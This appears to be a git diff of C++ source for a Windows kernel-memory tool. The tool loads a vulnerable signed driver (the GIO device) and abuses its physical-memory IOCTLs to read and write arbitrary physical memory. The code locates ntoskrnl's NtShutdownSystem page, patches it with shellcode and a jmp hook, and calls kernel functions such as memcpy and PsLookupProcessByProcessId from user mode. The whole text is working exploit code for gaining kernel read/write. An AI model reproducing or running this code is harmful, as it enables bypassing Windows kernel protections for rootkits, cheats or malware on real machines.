struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
|
||||
{
|
||||
uint8_t type;
|
||||
uint8_t shareDisposition;
|
||||
uint16_t flags;
|
||||
uint64_t pBegin;
|
||||
uint32_t sizeButNotExactly;
|
||||
uint32_t pad;
|
||||
|
||||
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
|
||||
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
|
||||
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
|
||||
|
||||
uint64_t size()const noexcept
|
||||
{
|
||||
if (flags & cm_resource_memory_large_40)
|
||||
return uint64_t{ sizeButNotExactly } << 8;
|
||||
else if (flags & cm_resource_memory_large_48)
|
||||
return uint64_t{ sizeButNotExactly } << 16;
|
||||
else if (flags & cm_resource_memory_large_64)
|
||||
return uint64_t{ sizeButNotExactly } << 32;
|
||||
else
|
||||
return uint64_t{ sizeButNotExactly };
|
||||
}
|
||||
};
|
||||
static_assert(sizeof(PhysicalMemoryPage) == 20);
|
||||
#pragma pack (pop)
|
||||
|
||||
inline const auto init_ranges = ([&]() -> bool
|
||||
{
|
||||
HKEY h_key;
|
||||
DWORD type, size;
|
||||
LPBYTE data;
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||
data = new BYTE[size];
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||
DWORD count = *(DWORD*)(data + 16);
|
||||
auto pmi = data + 24;
|
||||
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||
{
|
||||
#if 0
|
||||
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||
#else
|
||||
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
|
||||
pmem_ranges.emplace(page.pBegin, page.size());
|
||||
#endif
|
||||
pmi += 20;
|
||||
}
|
||||
delete[] data;
|
||||
RegCloseKey(h_key);
|
||||
return true;
|
||||
})();
|
||||
|
||||
__forceinline auto get_file_header(void* base_addr) -> PIMAGE_FILE_HEADER
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos_headers =
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
|
||||
|
||||
PIMAGE_NT_HEADERS nt_headers =
|
||||
reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
|
||||
|
||||
return &nt_headers->FileHeader;
|
||||
}
|
||||
|
||||
__forceinline auto get_kmodule_base(const char* module_name) -> std::uintptr_t
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName);
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[idx].ImageBase);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
__forceinline auto get_kmodule_export(const char* module_name, const char* export_name, bool rva = false) -> void*
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName
|
||||
);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
std::string full_path = reinterpret_cast<char*>(modules->Modules[idx].FullPathName);
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
const auto module_base =
|
||||
LoadLibraryEx(
|
||||
full_path.c_str(),
|
||||
NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES
|
||||
);
|
||||
|
||||
PIMAGE_DOS_HEADER p_idh;
|
||||
PIMAGE_NT_HEADERS p_inh;
|
||||
PIMAGE_EXPORT_DIRECTORY p_ied;
|
||||
|
||||
PDWORD addr, name;
|
||||
PWORD ordinal;
|
||||
|
||||
p_idh = (PIMAGE_DOS_HEADER)module_base;
|
||||
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew);
|
||||
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
|
||||
return NULL;
|
||||
|
||||
if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
|
||||
return NULL;
|
||||
|
||||
p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base +
|
||||
p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions);
|
||||
name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames);
|
||||
ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals);
|
||||
|
||||
// find exported function
|
||||
for (auto i = 0; i < p_ied->AddressOfFunctions; i++)
|
||||
{
|
||||
if (!strcmp(export_name, (char*)module_base + name[i]))
|
||||
{
|
||||
if (!rva)
|
||||
{
|
||||
auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]);
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
else
|
||||
{
|
||||
auto result = (void*)addr[ordinal[i]];
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return nullptr;
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,145 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <cstdint>
|
||||
|
||||
#include "../util/util.hpp"
|
||||
#include "../util/loadup.hpp"
|
||||
#include "raw_driver.hpp"
|
||||
|
||||
#define MAP_PHYSICAL 0xC3502004
|
||||
#define UNMAP_PHYSICAL 0xC3502008
|
||||
|
||||
#pragma pack (push, 1)
|
||||
typedef struct _gdrv_t
|
||||
{
|
||||
unsigned long interface_type;
|
||||
unsigned long bus;
|
||||
std::uintptr_t phys_addr;
|
||||
unsigned long io_space;
|
||||
unsigned long size;
|
||||
} gdrv_t, *pgdrv_t;
|
||||
#pragma pack (pop)
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
inline HANDLE drv_handle;
|
||||
__forceinline auto load_drv() -> std::tuple<HANDLE, std::string, NTSTATUS>
|
||||
{
|
||||
const auto [result, key] =
|
||||
driver::load(
|
||||
vdm::raw_driver,
|
||||
sizeof(vdm::raw_driver)
|
||||
);
|
||||
|
||||
if (result != STATUS_SUCCESS)
|
||||
return { {}, {}, result };
|
||||
|
||||
vdm::drv_handle = CreateFile(
|
||||
"\\\\.\\GIO",
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
NULL,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
return { vdm::drv_handle, key, result };
|
||||
}
|
||||
|
||||
__forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS
|
||||
{
|
||||
if (!CloseHandle(drv_handle))
|
||||
return STATUS_FAIL_CHECK;
|
||||
|
||||
return driver::unload(drv_key);
|
||||
}
|
||||
|
||||
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||
return false;
|
||||
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(buffer, out_buffer[0], size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
|
||||
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||
{
|
||||
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||
return false;
|
||||
|
||||
gdrv_t in_buffer;
|
||||
in_buffer.bus = NULL;
|
||||
in_buffer.interface_type = NULL;
|
||||
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||
in_buffer.io_space = NULL;
|
||||
in_buffer.size = size;
|
||||
|
||||
void* out_buffer[2] = { 0 };
|
||||
unsigned long returned = 0;
|
||||
|
||||
if (!DeviceIoControl(
|
||||
drv_handle,
|
||||
MAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&in_buffer),
|
||||
sizeof in_buffer,
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
))
|
||||
return false;
|
||||
|
||||
__try
|
||||
{
|
||||
memcpy(out_buffer[0], buffer, size);
|
||||
}
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{}
|
||||
|
||||
return DeviceIoControl(
|
||||
drv_handle,
|
||||
UNMAP_PHYSICAL,
|
||||
reinterpret_cast<void*>(&out_buffer[0]),
|
||||
sizeof out_buffer[0],
|
||||
out_buffer,
|
||||
sizeof out_buffer,
|
||||
&returned, NULL
|
||||
);
|
||||
}
|
||||
}
|
@ -0,0 +1,122 @@
|
||||
#include "vdm_ctx.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
|
||||
:
|
||||
read_phys(read_func),
|
||||
write_phys(write_func)
|
||||
{
|
||||
// already found the syscall's physical page...
|
||||
if (vdm::syscall_address.load())
|
||||
return;
|
||||
|
||||
vdm::ntoskrnl = reinterpret_cast<std::uint8_t*>(
|
||||
LoadLibraryExA("ntoskrnl.exe", NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
syscall_hook.first,
|
||||
true
|
||||
));
|
||||
|
||||
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||
// for each physical memory range, make a thread to search it
|
||||
std::vector<std::thread> search_threads;
|
||||
for (auto ranges : util::pmem_ranges)
|
||||
search_threads.emplace_back(std::thread(
|
||||
&vdm_ctx::locate_syscall,
|
||||
this,
|
||||
ranges.first,
|
||||
ranges.second
|
||||
));
|
||||
|
||||
for (std::thread& search_thread : search_threads)
|
||||
search_thread.join();
|
||||
}
|
||||
|
||||
void vdm_ctx::set_read(read_phys_t& read_func)
|
||||
{
|
||||
this->read_phys = read_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::set_write(write_phys_t& write_func)
|
||||
{
|
||||
this->write_phys = write_func;
|
||||
}
|
||||
|
||||
void vdm_ctx::rkm(void* dst, void* src, std::size_t size)
|
||||
{
|
||||
static const auto ntoskrnl_memcpy =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||
|
||||
this->syscall<decltype(&memcpy)>(
|
||||
ntoskrnl_memcpy, dst, src, size);
|
||||
}
|
||||
|
||||
void vdm_ctx::wkm(void* dst, void* src, std::size_t size)
|
||||
{
|
||||
static const auto ntoskrnl_memcpy =
|
||||
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||
|
||||
this->syscall<decltype(&memcpy)>(
|
||||
ntoskrnl_memcpy, dst, src, size);
|
||||
}
|
||||
|
||||
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||
{
|
||||
const auto page_data =
|
||||
reinterpret_cast<std::uint8_t*>(
|
||||
VirtualAlloc(
|
||||
nullptr,
|
||||
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
));
|
||||
|
||||
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||
{
|
||||
if (vdm::syscall_address.load())
|
||||
break;
|
||||
|
||||
if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||
continue;
|
||||
|
||||
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||
if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32))
|
||||
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||
syscall_address.store(
|
||||
reinterpret_cast<void*>(
|
||||
address + page + nt_page_offset));
|
||||
}
|
||||
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||
}
|
||||
|
||||
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||
{
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
// 0: 48 31 c0 xor rax, rax
|
||||
// 3 : c3 ret
|
||||
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||
std::uint8_t orig_bytes[sizeof shellcode];
|
||||
|
||||
// save original bytes and install shellcode...
|
||||
read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||
|
||||
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||
write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||
syscall_mutex.unlock();
|
||||
return result == STATUS_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,103 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <string_view>
|
||||
#include <vector>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <functional>
|
||||
#include "../vdm/vdm.hpp"
|
||||
|
||||
namespace vdm
|
||||
{
|
||||
// change this to whatever you want :^)
|
||||
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
|
||||
inline std::atomic<bool> is_page_found = false;
|
||||
inline std::atomic<void*> syscall_address = nullptr;
|
||||
inline std::uint16_t nt_page_offset;
|
||||
inline std::uint32_t nt_rva;
|
||||
inline std::uint8_t* ntoskrnl;
|
||||
|
||||
using read_phys_t = std::function<decltype(vdm::read_phys)>;
|
||||
using write_phys_t = std::function<decltype(vdm::write_phys)>;
|
||||
|
||||
class vdm_ctx
|
||||
{
|
||||
public:
|
||||
explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
|
||||
void set_read(read_phys_t& read_func);
|
||||
void set_write(write_phys_t& write_func);
|
||||
void rkm(void* dst, void* src, std::size_t size);
|
||||
void wkm(void* dst, void* src, std::size_t size);
|
||||
|
||||
template <class T, class ... Ts>
|
||||
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||
{
|
||||
static const auto proc =
|
||||
GetProcAddress(
|
||||
LoadLibraryA(syscall_hook.second),
|
||||
syscall_hook.first
|
||||
);
|
||||
|
||||
static std::mutex syscall_mutex;
|
||||
syscall_mutex.lock();
|
||||
|
||||
// jmp [rip+0x0]
|
||||
std::uint8_t jmp_code[] =
|
||||
{
|
||||
0xff, 0x25, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
};
|
||||
|
||||
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||
read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
// execute hook...
|
||||
write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||
write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||
|
||||
syscall_mutex.unlock();
|
||||
return result;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline auto rkm(std::uintptr_t addr) -> T
|
||||
{
|
||||
T buffer;
|
||||
rkm((void*)&buffer, (void*)addr, sizeof T);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
template <class T>
|
||||
__forceinline void wkm(std::uintptr_t addr, const T& value)
|
||||
{
|
||||
wkm((void*)addr, (void*)&value, sizeof T);
|
||||
}
|
||||
|
||||
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
|
||||
{
|
||||
static const auto ps_lookup_peproc =
|
||||
util::get_kmodule_export(
|
||||
"ntoskrnl.exe",
|
||||
"PsLookupProcessByProcessId");
|
||||
|
||||
PEPROCESS peproc = nullptr;
|
||||
this->syscall<PsLookupProcessByProcessId>(
|
||||
ps_lookup_peproc,
|
||||
(HANDLE)pid,
|
||||
&peproc
|
||||
);
|
||||
return peproc;
|
||||
}
|
||||
private:
|
||||
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||
bool valid_syscall(void* syscall_addr) const;
|
||||
|
||||
read_phys_t read_phys;
|
||||
write_phys_t write_phys;
|
||||
};
|
||||
}
|
Loading…
Reference in new issue